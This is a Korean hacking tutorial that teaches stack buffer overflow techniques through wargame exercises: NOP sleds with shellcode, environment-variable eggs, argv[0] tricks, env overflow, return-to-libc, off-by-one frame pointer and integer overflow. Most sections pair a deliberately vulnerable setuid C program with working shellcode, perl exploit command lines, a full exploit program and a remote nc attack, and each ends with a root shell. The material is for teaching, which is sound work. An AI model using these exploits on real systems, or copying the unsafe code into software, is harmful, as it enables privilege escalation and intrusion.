1580, 2/79 회원가입  로그인  
   소유
   http://soyu.cafe2.net
   Overflow 공격 기법들에 대한 정리 by 버스트

http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&no=212 [복사]


/*

homepage: http://beist.org
e-mail: beist@hanmail.net
msn: beist@hotmail.com

beist와 관련된 사이트 :
http://wowhacker.com (wowcode at wowhacker team)
http://hackerschool.org (very good hacking portal site)

*/


- 목차 -

0. 소개
1. big buffer overflow
2. small buffer overflow
3. 여러가지 기법들

3-1. egghunter
3-2. argv[0] strcpy
3-3. strcat

4. env overflow
5. 라마그라 버전 #1
6. 라마그라 버전 #2
7. frame pointer
8. integer overflow
9. 기타 overflow 방법 (글을 마치면서)


Overflow 공격 기법들에 대해..


0. 소개

안녕하세요? beist 입니다.

오늘은 Overflow 에 대해서 알아보려 합니다. 이 문서에서는 Stack Overflow
기법에 대해서 설명할 것입니다. 문서의 목적은 Stack Overflow 의 예전
방식들과 현재 기법들에 대해서 문서로 정리하는데 있습니다.

이 곳에선, Overflow 공격 기법에 필요한 부가적인 지식에 대해서 자세히
다루지 않을 것입니다. 예를 든다면, ShellCode 제작 기법, Heap, Stack,
Data 영역 등 메모리 구조에 대해서의 설명같은 것들 말입니다.

부가적인 지식까지 다루기에는 문서가 너무 방대해지고, 그 주제들에 대해서
따로 정리되어 있는 문서들도 많기 때문입니다. 그렇기 때문에 이 문서를 읽고
이해하기 위해서는 Overflow 공격 기법에 대한 지식이 어느 정도 갖추어져
있어야 합니다.

Overflow 공격 기법이 인터넷에 소개된지도 오랜 시간이 지났습니다. 그에
따라 공격 기법들도 다양하게 나오게 되었는데, 쉬운 이해를 위해서 각
기법들을 설명할 때 Wargame 문제를 만들어서 설명하겠습니다. 이 문서에서는
각 영역에 무엇이 들어가있는지 dump 를 해보지 않을 것입니다. 이러한 자세한
사항은 직접 해보시고, 여기서는 문제를 푸는 개념적인 방법 정도만 설명
하겠습니다.

여기서 설명하는 기법들의 일부는 리모트에서도 그대로 적용되지만, 설명을
편하게 하기 위해 local 환경하에서 테스트하였습니다.



1. 기본적인 Stack Overflow ( big buffer )

/* 1.c */

int main(int argc, char *argv[])
{
char buf[400];

if(argc==2)
strcpy(buf, argv[1]);
}


strcpy() 에서 argv[1] 을 buf 에 copy 하는데, 이때 경계 검사를 하지 않아서
overflow 가 일어나게 됩니다.

공격의 구성도를 알아보겠습니다. 메모리 구조는 buf - sfp - ret 가 될 것이고,
argv[1] 로 buf 에 copy 합니다.

공격의 성공도를 높이기 위해 NOP (no operation) 코드를 놓고, 그 뒤에 쉘코드,
NOP, Return Address 주소를 넣습니다. 각각의 사이즈입니다.

NOP - 352
SHELLCODE - 32
GARBAGE - 16
RETURN ADDRESS - 24


char shellcode[]=
"\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";


[root@hacking doc]# gcc -o 1 1.c
[root@hacking doc]# chmod 6755 1

[beist@hacking doc]$ ./1 `perl -e 'print "\x90"x352, "\x31\xc0\x89\xc3\xb0\x17\x
cd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\x
e1\x8d\x42\x0b\xcd\x80", "a"x16, "\x24\xf4\xff\xbf"x6'`
Segmentation fault
[beist@hacking doc]$ ./1 `perl -e 'print "\x90"x352, "\x31\xc0\x89\xc3\xb0\x17\x
cd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\x
e1\x8d\x42\x0b\xcd\x80", "a"x16, "\x24\xf5\xff\xbf"x6'`
Segmentation fault
[beist@hacking doc]$ ./1 `perl -e 'print "\x90"x352, "\x31\xc0\x89\xc3\xb0\x17\x
cd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\x
e1\x8d\x42\x0b\xcd\x80", "a"x16, "\x24\xf6\xff\xbf"x6'`
Illegal instruction
[beist@hacking doc]$ ./1 `perl -e 'print "\x90"x352, "\x31\xc0\x89\xc3\xb0\x17\x
cd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\x
e1\x8d\x42\x0b\xcd\x80", "a"x16, "\x24\xf7\xff\xbf"x6'`
sh-2.05b#


0xbffff724 에서 쉘이 떨어졌습니다. 저 부분은 buf 영역중의 NOP 코드일 것입니다.
자세한 영역에 대해서는 buf 를 직접 덤프해보시기 바랍니다.



2. 기본적인 stack overflow (small buffer)

/* 2.c */

int main(int argc, char *argv[])
{
char buf[4];

if(argc==2)
strcpy(buf, argv[1]);
}


1.c 와 같은 소스이지만 buf 의 크기가 다릅니다. 1.c 에서는 buf 의 크기가 400 바이트
라서, NOP, SHELLCODE 등을 넣기에 충분했지만, 2.c 에서는 buf 의 크기가 4 바이트밖에
되지 않으므로 NOP 이나 SHELLCODE 등을 넣을 수가 없습니다.

이럴 때는 환경 변수를 이용하여 공격이 가능합니다. 환경 변수는 stack 에 존재하고
있는데, 임의의 환경 변수 하나를 잡고, 그 안에 SHELLCODE 를 넣은 후, 2.c 를 공격시에
return address 로 환경 변수의 주소를 넣으면 쉘을 획득할 수 있습니다.


[root@hacking doc]# gcc -o 2 2.c
[root@hacking doc]# chmod 6755 2


BEIST 라는 환경 변수에 400 바이트의 NOP 을 넣고, 그 뒤에 SHELLCODE 를 넣겠습니다.



[beist@hacking doc]$ BEIST="`perl -e 'print \"\x90\"x400, \"\x31\xc0\x89\xc3\xb0
\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53
\x89\xe1\x8d\x42\x0b\xcd\x80\"'`"
[beist@hacking doc]$ export BEIST


공격을 시도해보겠습니다.


[beist@hacking doc]$ ./2 `perl -e 'print "\x24\xf8\xff\xbf"x3'`
Segmentation fault
[beist@hacking doc]$ ./2 `perl -e 'print "\x24\xf9\xff\xbf"x3'`
Illegal instruction
[beist@hacking doc]$ ./2 `perl -e 'print "\x24\xfa\xff\xbf"x3'`
Segmentation fault
[beist@hacking doc]$ ./2 `perl -e 'print "\x24\xfb\xff\xbf"x3'`
sh-2.05b# exit


0xbffffb24 에서 쉘을 얻을 수 있었습니다. BEIST 환경 변수가 저 위치쯤에 존재할
것이고, 아마 우리가 접근한 곳은 BEIST 환경 변수에 담긴 NOP 영역일 것입니다.



3. 여러가지 overflow 유형들

(3) 에서 설명하는 기본적인 방법은 (1) 과 (2) 에서 설명했던 내용과 비슷합니다.
여러 가지 상황들을 워게임으로 만들어 풀이 방법을 설명해보겠습니다.


1) egghunter

이번에는 egg hunter가 들어간 취약 프로그램을 공격해 보겠습니다. egg hunter는
egg shell, 즉 환경 변수를 없애주는 기능을 합니다. 환경 변수는 전역으로 선언
되어있는데, 이 전역 선언된 environ 을 memset() 함수를 이용하여 초기화를
시킵니다.

그래서, 환경 변수에 SHELLCODE 를 넣고, 취약한 함수의 return address 를 환경
변수의 주소로 바꾸어도, egghunter 에 의해 환경 변수가 초기화되기 때문에,
환경 변수를 이용할 수 없습니다.

만약 취약한 프로그램에서 입력할 수 있는 buffer 의 크기가 여유가 있다면, 그
buffer 안에 SHELLCODE 를 넣어도 되겠지만 그렇지 못한 상황일 때는 환경 변수도,
버퍼도 아닌 어떤 임의의 영역을 이용하여야 합니다. 여기서는 환경 변수와 마찬
가지로 스택의 일부인 argv 를 이용하여 문제를 풀어보겠습니다. 문제는 다음과
같습니다.


/* 3-1.c */

extern char **environ;

void function(char *str)
{
char buf[4];

strncpy(buf, str, 12);
}

int main(int argc, char *argv[])
{

int egghunter;

for(egghunter=0; environ[egghunter]; egghunter++)
memset(environ[egghunter], 0, strlen(environ[egghunter]));

function(argv[1]);

}


문제 설치를 하고 공격을 해보겠습니다.


[root@beist doc]# gcc -o 3-1 3-1.c
[root@beist doc]# chmod 6755 3-1


공격을 시도할 때, argv[1] 는, 우리가 돌아갈 return address 를 가르켜야 합니다.
우리의 SHELLCODE 는 argv[2] 영역에 놓을 것이니, argv[1] 는 argv[2] 을 가르켜야
합니다.


[beist@beist doc]$ ./3-1 `perl -e 'print "\x24\xf8\xff\xbf"x3'` `perl -e 'print
"\x90"x400, "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68
\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"'`
Segmentation fault

[beist@beist doc]$ ./3-1 `perl -e 'print "\x24\xf9\xff\xbf"x3'` `perl -e 'print
"\x90"x400, "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68
\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"'`
Segmentation fault

[beist@beist doc]$ ./3-1 `perl -e 'print "\x24\xfa\xff\xbf"x3'` `perl -e 'print
"\x90"x400, "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68
\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"'`
Illegal instruction

[beist@beist doc]$ ./3-1 `perl -e 'print "\x24\xfb\xff\xbf"x3'` `perl -e 'print
"\x90"x400, "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68
\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"'`
sh-2.05#


0xbffffb24 에서 shell 을 얻을 수 있었습니다. argv[2] 에는 NOP 코드를 400 바이트를
넣어두었고, 그 뒤에 SHELLCODE 를 넣었습니다.



2) argv[0] strcpy

이번에는 원리는 같지만 조금 다른 방법으로 풀이를 해야하는 문제입니다. 바로 argv[0]
자체를 buffer 에 strcpy() 하는 프로그램입니다. 기본적인 overflow 문제와 전혀 다를
것이 없지만 argv[0] 을 어떻게 바꾸느냐가 중요합니다. argv[0] 은 프로그램 이름을
뜻합니다. 하드 링크, 심볼릭 링크, exec 함수군들을 이용하여 argv[0] 바꾸기, 등 여러
가지 방법으로 argv[0] 을 조작할 수 있는데, 여기서는 가장 간편한 방법인 심볼릭
링크를 이용한 방법을 소개하겠습니다.


/* 3-2.c */

int main(int argc, char *argv[])
{
char buf[10];

strcpy(buf,argv[0]);
}


문제를 설치하겠습니다.


[root@beist doc]# gcc -o 3-2 3-2.c
[root@beist doc]# chmod 6755 3-2

심볼릭 링크를 이용하여 argv[0] 을 바꾸겠습니다. 여기서는, argv[0] 에는 단순히
return address 만을 지정하고, SHELLCODE 는, argv[1] 에 놓겠습니다. 그러므로
argv[0] 은 argv[1] 을 가르키게 하면 될 것입니다.


[beist@beist doc]$ ln -s ./3-2 `perl -e 'print "\x24\xf9\xff\xbf"x10'`
[beist@beist doc]$ .///`perl -e 'print "\x24\xf9\xff\xbf"x10'` `perl -e 'print
"\x90"x400, "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73
\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"'`
Illegal instruction

[beist@beist doc]$ ln -s ./3-2 `perl -e 'print "\x24\xfa\xff\xbf"x10'`
[beist@beist doc]$ .///`perl -e 'print "\x24\xfa\xff\xbf"x10'` `perl -e 'print
"\x90"x400, "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73
\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"'`
Segmentation fault

[beist@beist doc]$ ln -s ./3-2 `perl -e 'print "\x24\xfb\xff\xbf"x10'`
[beist@beist doc]$ .///`perl -e 'print "\x24\xfb\xff\xbf"x10'` `perl -e 'print
"\x90"x400, "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73
\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"'`
sh-2.05#


return address 가 0xbffffb24 에서 떨어진 것으로 보아, SHELLCODE 가 담긴
argv[1] 이 그 영역임을 알 수 있습니다. 프로그램을 실행시킬 때, 앞에 "./" 가
아닌 ".///" 를 넣어준 이유는, 워드 단위를 4 바이트로 맞춰주기 위함입니다.


3) strcat overflow

strcat 의 overflow 도 다른 일반적인 overflow 와 차이점이 없습니다. 함수의 return
address 영역을 덮어서 공격한다는, 공격 방법은 같습니다.


3-3.c

void function(char *str)
{
char buf[4]={0};

strcat(buf, str);
}

main(int argc, char *argv[])
{

if(argc == 2)
function(argv[1]);

}


[root@hacking doc]# gcc -o 3-3 3-3.c
[root@hacking doc]# chmod 6755 3-3


현재 3-3 프로그램의 buffer 상태는 다음과 같습니다.

[ buf ] [ sfp ] [ ret ] [ 기타영역 ]

여기서는, 기타영역에 NOP 코드와 쉘코드를 넣고, ret 영역은, 기타 영역을 가르키게 하는
방법으로 공격을 해보겠습니다.


[beist@hacking doc]$ ./3-3 `perl -e 'print "\x44\xf5\xff\xbf"x3, "\x90"x500,
"\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f
\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"'`
Segmentation fault

[beist@hacking doc]$ ./3-3 `perl -e 'print "\x44\xf6\xff\xbf"x3, "\x90"x500,
"\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f
\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"'`
Segmentation fault

[beist@hacking doc]$ ./3-3 `perl -e 'print "\x44\xf7\xff\xbf"x3, "\x90"x500,
"\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f
\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"'`
Segmentation fault

[beist@hacking doc]$ ./3-3 `perl -e 'print "\x44\xf8\xff\xbf"x3, "\x90"x500,
"\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f
\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"'`
sh-2.05b#


4 번째 공격에서 쉘을 딸 수 있었습니다.


4. env overflow

env overflow 기법은, murat@underunix.org 라는 외국의 해커에 의해서 소개된 바가
있습니다. 기존의 stack overflow 공격 기법과는 조금 다른 방법으로 접근을 하는데,
기존의 공격 기법들은, 어느 정도의 공격 시도를 거쳐서 우리가 넣은 쉘코드에 접근을
하는데 비해, env overflow 은 NOP 코드를 놓고, 옵셋을 찍어맞추는 경우와는 다른
방법으로 one shot 에 성공을 할 수 있는 장점이 있습니다.

env overflow 의 공격 핵심은 다음과 같습니다. 이 방법에 대한 더 자세한 사항은
wowhacker lecture 게시판에 올려진 Buffer overflow Demystified 란 글을 참고해
보세요.

프로그램이 실행될 때 우리의 스택은 다음과 같습니다.

0xbfffffff - 스택의 top
4 byte - (NULL byte)
strlen(프로그램이름) - program_name 길이
1 byte - program_name 의 null 바이트
strlen(환경변수) - 마지막 환경 변수 문자열

그렇다면, envp 의 위치는 다음과 같이 될 것입니다.

envp = 0xbffffffa - strlen(program_name) - strlen(envp)

위의 계산대로라면, envp 에 shellcode 를 놓고, envp 가 시작될 위치의 주소로 취약한
프로그램의 buffer 를 덮어쓰고, 그대로 return address 를 덮어씌우면 우리는 쉘을
얻을 수 있을 것입니다.

그런데 공격 시에, 다른 환경 변수들이 존재한다면 환경 변수를 계산하기가 조금
불편해지므로, C 프로그램을 작성하여 다른 환경 변수는 모두 지운 후, 공격을 시도
해보겠습니다.


취약점을 가진 wargame 소스는 다음과 같습니다.


/bof/doc/4.c

void function(char *str)
{
char buf[4];

strncpy(buf, str, 20);
}

int main(int argc, char *argv[])
{
if(argc == 2)
function(argv[1]);
}


[root@hacking doc]# gcc -o 4 4.c
[root@hacking doc]# chmod 6755 4


취약한 소스의 buffer 는 다음과 같습니다.

[ buf ] [ sfp ] [ ret ]

우리는 ret 의 주소를 쉘코드가 놓인 envp 의 주소로 가르키게 할 것입니다. 그러려면
buf, sfp, ret 를 덮을 수 있는 크기인 12 바이트를 argv[1] 로 지정하고 실행해야
합니다.

다음은 공격 소스입니다.


/bof/doc/4-attack.c

#include <stdio.h>

char sc[]=
"\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x6
2\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";

main()
{
char *env[3] = {sc, NULL};
char buf[12];

int *a=(int *)(buf);

int ret=0xbffffffa - strlen(sc) - strlen("/bof/doc/4");

*a++ = ret;
*a++ = ret;
*a++ = ret;

execle("/bof/doc/4", "4", buf, NULL, env);
}


위의 경우에 ret 는 0xbfffffd0 으로 계산될 것이고, buf 는 0xbfffffd0 으로 12 바이트
이상을 이루어진후, execle() 함수로 인해 buf 가 argv[1] 로 들어가게 됩니다. 그렇다면
/bof/doc/4 의 return address 는 0xbfffffd0 이 될 것이고, 0xbfffffd0 은 쉘코드가
놓인 주소이므로, 우리는 쉘을 얻을 수 있습니다.


[beist@hacking doc]$ gcc -o 4-attack 4-attack.c
[beist@hacking doc]$ ./4-attack
sh-2.05b# id
uid=0(root) gid=500(beist) groups=500(beist)


성공적으로 root shell 을 얻을 수 있었습니다. env overflow 방식은, 단 한번에
root shell 을 획득할 수 있다는 장점이 있지만, 환경 변수를 이용하므로 local 에서만
이용할 수 있다는 단점이 있습니다. 또한, 어차피 환경 변수를 이용할 수 있다면,
굳이 env overflow 를 이용하지 않더라도, 더 편한 방법이 많으므로 이 기법은
큰 메리트가 없다고 개인적으로 생각합니다. 그러나, 이러한 공격 방법도 있다는 것을 알
수 있고, 이 기법을 응용하여 더 좋은 기법도 나올 수 있을거라 생각됩니다.


5. 라마그라 버전 #1

Overflow 에 관심이 있으신 분들은 The Omega Project 를 들어보셨을 겁니다. 라마그라
라는 외국 해커에 의해서 알려진 overflow 공격 기법인데, 간략하게 설명해보자면
return to library 를 이용하는 것입니다.

시스템 내에서 이진 파일은 대부분 공유 라이브러리의 코드를 이용하게 됩니다.
공유 라이브러리가 매핑된 메모리 주소에 접근하여, 특정 기계어 코드를 직접 삽입하여
사용하지 않고도 원하는 기능을 수행할 수 있는 것이 장점입니다.

자세한 기법은 The Omega Project 문서를 보시기 바라며, 1 파트에서는 Omega 문서에서
나온 방법을 wargame 으로 만들고 그 것을 풀이하여 보겠습니다.


/* 5.c */

void function(char *str)
{
char buf[4];

strcpy(buf, str);
}

int main(int argc, char *argv[])
{

if(argc==2)
function(argv[1]);

}


[root@hacking doc]# gcc -o 5 5.c
[root@hacking doc]# chmod 6755 5


매핑된 공유 라이브러리의 system() 함수를 실행하고, 이때 실행하는 garbage 를
파일 이름으로 만들어 쉘을 얻어보겠습니다.


[beist@hacking doc]$ gdb 5
(gdb) b main
Breakpoint 1 at 0x8048348
(gdb) r
Starting program: /bof/doc/5

Breakpoint 1, 0x08048348 in main ()
(gdb) x/i system
0x42041e50 <system>: push %ebp
(gdb) quit


system 의 주소는 0x42041e50 입니다.


[beist@hacking doc]$ ./5 `perl -e 'print "\x50\x1e\x04\x42"x3'`
sh: line 1: 沈B?@? command not found
Illegal instruction


system() 함수가 실행되었지만 이상한 문자열 때문에 command not found 라는
에러가 나게 됩니다.


[beist@hacking doc]$ ./5 `perl -e 'print "\x50\x1e\x04\x42"x3'` 2> err
Illegal instruction


에러 메세지를 리다이렉션을 통해 err 파일에 담았습니다.


[beist@hacking doc]$ cat err|awk -F ':' '{print $3}'|awk -F ' ' '{print $1}' > ok
[beist@hacking doc]$ cat ok
沈B?@?


awk 를 이용하여 에러 메세지에서, garbage 문자값만 구별하여 ok 파일에 담았습니다.
이 garbage 문자열로, /bin/sh 를 가르키는 심볼릭 링크를 만들겠습니다.


[beist@hacking doc]$ ln -s /bin/sh `cat ok`
[beist@hacking doc]$ ls -al
합계 80
drwxrwxrwx 2 beist beist 4096 2월 4 04:41 .
drwxrwxrwx 3 root root 4096 2월 3 07:51 ..
-rwsr-sr-x 1 root root 11399 2월 4 04:29 5
-rw-r--r-- 1 root root 132 2월 4 04:28 5.c
-rw-rw-r-- 1 beist beist 42 2월 4 04:34 err
-rw-rw-r-- 1 beist beist 11 2월 4 04:38 ok
lrwxrwxrwx 1 beist beist 7 2월 4 04:41 沈?B?+?@?? -> /bin/sh


심볼릭 링크의 파일이 성공적으로 만들어졌습니다. 그럼, PATH 환경 변수에 현재
디렉토리를 뜻하는, "." 를 추가하겠습니다.


[beist@hacking doc]$ PATH=.:$PATH
[beist@hacking doc]$ export PATH


공격을 시도해보겠습니다.


[beist@hacking doc]$ ps
PID TTY TIME CMD
11717 pts/0 00:00:00 bash
13372 pts/0 00:00:00 ps
[beist@hacking doc]$ ./5 `perl -e 'print "aaaabbbb","\x50\x1e\x04\x42"'`
[beist@hacking doc]# ps
PID TTY TIME CMD
11717 pts/0 00:00:00 bash
13375 pts/0 00:00:00 沈B?@?
13404 pts/0 00:00:00 ps


공격을 시도하고 난 후에, garbage 문자열을 가진 심볼릭 링크 파일이 /bin/sh
를 가르켜 성공적으로 실행된 것을 ps 명령어로 확인할 수 있었습니다.


6. 라마그라 버전 #2


라마그라 2 파트에서는 라마그라가 발표한 Omega Project 를 응용한 공격
기법을 설명하겠습니다.

1 파트에서 우리가 system() 함수를 실행했을 때, garbage 문자열이 실행이
되었습니다. 이 garbage 문자는 다음과 같은 위치에서 참조됩니다.


[buf] [sfp] [ret] [dummy] [dummy2]


여기서 ret 를 system() 으로 잡았다면, system() 함수의 인자로, ret+4 위치인,
dummy2 에서 참조를 하게 됩니다. dummy2 가 가르키고 있는 메모리를 system()
함수의 인자로 참조하게 되는 것입니다.

우리는 Shell 을 실행시키려고 하니까 ret 는 system() 의 주소를 지정하고,
dummy2 를, /bin/sh 를 가르키는 위치로 지정을 하면 됩니다. 라마그라의
글에서는 공유 라이브러리에서 /bin/sh 를 찾았었는데, 여기서는 다른 방법으로
알아보겠습니다.

이 wargame 은 remote 환경입니다.

메모리에 Shell 을 실행시킬 수 있는 특정 문자열을 올린 후, dummy2 에 그 것을
지정해주는 방법을 해보겠습니다.

우리가 원하는 문자열을 메모리에 집어넣기 위한 방법은 여러가지가 있는데
몇가지 예를 들어보자면 다음과 같습니다.


1. argc 이용하기
2. argv 이용하기
3. 환경 변수 이용하기
4. 프로그램의 buffer 이용하기
5. 기타 프로그램 인터프리터 테이블


overflow 의 궁극적인 목적은 shell 을 띄우는 것인데, 라마그라 기법에서 쉘을
띄우기 위해서는 쉘을 실행시킬 수 있는 문자열을 찾아야합니다. 우리가 여기서
이용할 문자열은 환경 변수 내에 존재하는 SHELL 환경 변수의 값을 이용할 것
입니다. bash 를 사용한다면 SHELL 환경 변수의 값은 "/bin/bash" 가 됩니다.


[beist@hacking beist]$ echo $SHELL
/bin/bash


"/bin/bash" 가 출력되는 것을 볼 수 있습니다.

본격적으로 wargame 문제를 하나 만들어서 풀어보겠습니다.


/* 6.c */

void function(char *str)
{
char buf[4];

strncpy(buf, str, 20);

memset(buf, 0, 8);
memset(buf+12, 0, 4);

if(buf[19]=='\x40' || buf[19]=='\x41' || buf[19]=='\x42' || buf[19]=='\x08')
{
printf("Error\n");
exit(-1);
}
}

int main(int argc, char *argv[])
{
if(argc==2)
{
if(strlen(argv[1]) <= 20 || strlen(argv[0]) > 3)
function(argv[1]);
}
}


앞서 설명하였듯이 이 문제는 환경 변수의 문자열을 이용하여서 풀 것입니다. 그
전에 문제를 리모트로 설정하기 위해 다음과 같이 설정하겠습니다.



* wargame 문제를 리모트로 풀기 위해 xinetd.d 에 등록하는 과정 *


[beist@hacking wargame]# gcc -o 6 6.c
[beist@hacking wargame]# cat > /etc/xinetd.d/lama2

service lama2
{
disable = no
flags = REUSE
socket_type = stream
wait = no
user = root
server = /wargame/6
log_on_failure += USERID
}

(Ctrl + D 입력)

[beist@hacking wargame]# echo "lama2 6666/tcp" > /etc/services
[beist@hacking wargame]# /etc/rc.d/init.d/xinetd restart
xinetd Stop OK...
xinetd Start OK...



wargame 문제가 xinetd 데몬에 정상적으로 등록이 되었다면 wargame 서버의 6666
포트로 접속했을 때, wargame 문제가 뜰 것입니다.


현재 target 프로그램의 buffer 상태는 다음과 같습니다.


[ buf ] [ sfp ] [ ret ] [dummy] [dummy2]


buf 에서부터 20 바이트를 덮어씌울수 있기 때문에 실제로 우리가 접근할 수 있는
영역은 buf~dummy2 영역까지입니다. memset 으로 인해서, buf, sfp, dummy 영역은
초기화되므로 이용할 수 없습니다. 그러므로 실질적으로 이용할 수 있는 buffer는
ret 와 dummy2 입니다.

우리가 알아야 할 영역은 system() 함수의 주소와 SHELL 환경 변수의 주소값인데
이 영역은 다음이라고 가정하겠습니다.


system = 0x8048424
SHELL = 0xbfffffe2


(실제 wargame 에서는 system() 함수를 출력해주는 경우가 많으며, 그렇지 않으면
brute force 를 통해 알아내야 합니다.)


[beist@hacking beist]$ (perl -e 'print "aaaabbbb\x24\x84\x04\x08cccc\xe2\xff
\xff\xbf"';cat)|nc target 6666

id;
uid=0(root) gid=0(root)


root 쉘을 획득하였습니다.


7. frame pointer

frame pointer overflow 기법은 일반적인 overflow 기법과는 조금 다릅니다.
1 byte 만을 overflow 시킬 수 있습니다. 제 2 세대 기법이라고도 불리는 overflow
공격 기술이며 phrack 55 호에 소개되어 있습니다.

함수가 끝날 때, ebp -> esp 가 되고, ret 는 esp -> eip 로 만듭니다.

1 byte 를 overflow 시킬 수 있다는 이야기는 ebp 의 마지막 자리 수를 해커 마음대로
변조시킬 수 있다는 것을 의미합니다.

wargame 소스는 다음과 같습니다.


7.c

void func(char *str)
{

char buf[4];
int i;

for(i=0;i<=4;i++)
buf[i]=str[i];

}

int main(int argc, char *argv[])
{

if (argc == 2)
func(argv[1]);

}

[beist@hacking doc]# gcc -o 7 7.c
[beist@hacking doc]# chmod 6755 7


소스에서 보시다시피, buffer 는 4 바이트지만 잘못된 for 문 사용으로 인해
buffer 에 5 바이트를 넣을 수 있습니다. 즉, ebp 의 마지막 바이트를 덮을 수
있다는 이야기입니다.

buffer 상태입니다.

[ buf ] [ ebp ] [ ret ]


공격 방법론.

1. eggshell 을 띄운다.
2. buf 는 eggshell 의 주소를 가르킨다.
3. ebp 의 마지막 바이트를 buf 의 주소를 가르킨다.


여기서 buf 의 주소는 0xbffff008 이라고 가정하겠습니다. 실제 작업에서는
디버깅이나 dumpcode 를 통해서 알아보시기 바랍니다.


[beist@hacking doc]$ ./egg
Using address: 0xbffff9f8
[beist@hacking doc]$ ./7 `perl -e 'print "\xf8\xf9\xff\xbf\x04"'`
sh-2.05b#
uid=0(root) gid=0(root) groups=500(beist)


쉘을 획득하였습니다. 원래 ebp 는 0xbffff0xx 를 가르키고 있겠지만, 마지막
1 byte 를 \x04 로 덮어씌었습니다. ebp 가 pop 되기전 ebp 는, 우리가 조작한
0xbffff004 가 되겠지만, pop 이 될 때 스택이 +4 가 되므로 결과적으로
0xbffff008 이 될 것입니다. 0xbffff008 은 egg shell 의 주소인 0xbffff9f8 을
가르키고 있으므로 우리는 쉘을 딸 수 있었습니다.


ps. gcc 의 상위 버전에서, 만약 버퍼 사이에 garbage 값이 끼어서 ebp 의
마지막 바이트에 도달할 수 없다면, frame pointer overflow 공격은 성공할 수
없습니다. 혹시 garbage 가 끼어, ebp 를 수정할 수 없는 상황에서도 공격을
성공하는 방법을 알고 계신 분은 저에게 연락주시면 감사하겠습니다.


8. integer overflow

integer overflow 는 비교적 최근에 소개된 overflow 기법입니다. 각
변수가 사용할 수 있는 범위를 넘어섰을 때 integer overflow 가 일어나게
되는데, 이때 만약 프로그램에서 변수가 차지하는 비중이 컸을 때 Shell 을
따거나 특정 행위를 할 수도 있습니다. 이 기법에 대한 자세한 방법은
phrack 60 호를 보시거나, 제가 부연 설명을 한 글이 있으니 그 것도
참조해보시기 바랍니다.


/* 8.c */

void function(char *str, int count)
{
char buf[65000];

strncpy(buf, str, count);

printf("result : %s\n");
}

int main(int argc, char *argv[])
{
unsigned short check;
int auth;

if(argc != 3)
{
printf("EX) %s int string\n", argv[0]);
return -1;
}

auth=atoi(argv[1]);

check=auth;

if(check >= 65000)
{
printf("check 에 걸렸음\n");
return -1;
}

function(argv[2], auth);

}


다음과 같은 방법으로 공격을 시도해보겠습니다.


1. 쉘코드를 메모리에 올려놓는다. (egg shell)
2. argv[1] 에 65536 을 입력한다.
3. argv[2] 에 65536 만큼의 egg shell 의 주소를 입력한다.
(주소값은 4 바이트를 차지하고 65536 만큼 입력하려면 4*16384 를 해야합니다.)


[beist@beist bof]$ ./egg
Using address: 0xbffffb18
[beist@beist bof]$ ./8 65536 `perl -e 'print "\x18\xfb\xff\xbf"x16384'`
result : 웝웝웝웝웝웝웝웝웝웝웝웝웝웝웝웝웝웝웝웝웝웝웝웝웝웝웝웝웝웝옜好好好好
好好好好好好好好好好好好好好好好好好好好好好好好好好好好好好好好好好好好好好好好
.. 생략 ..
.. 생략 ..
.. 생략 ..
好好好好好好好好好好好好好好好好好好好好好好好好好好好好好
sh-2.05#



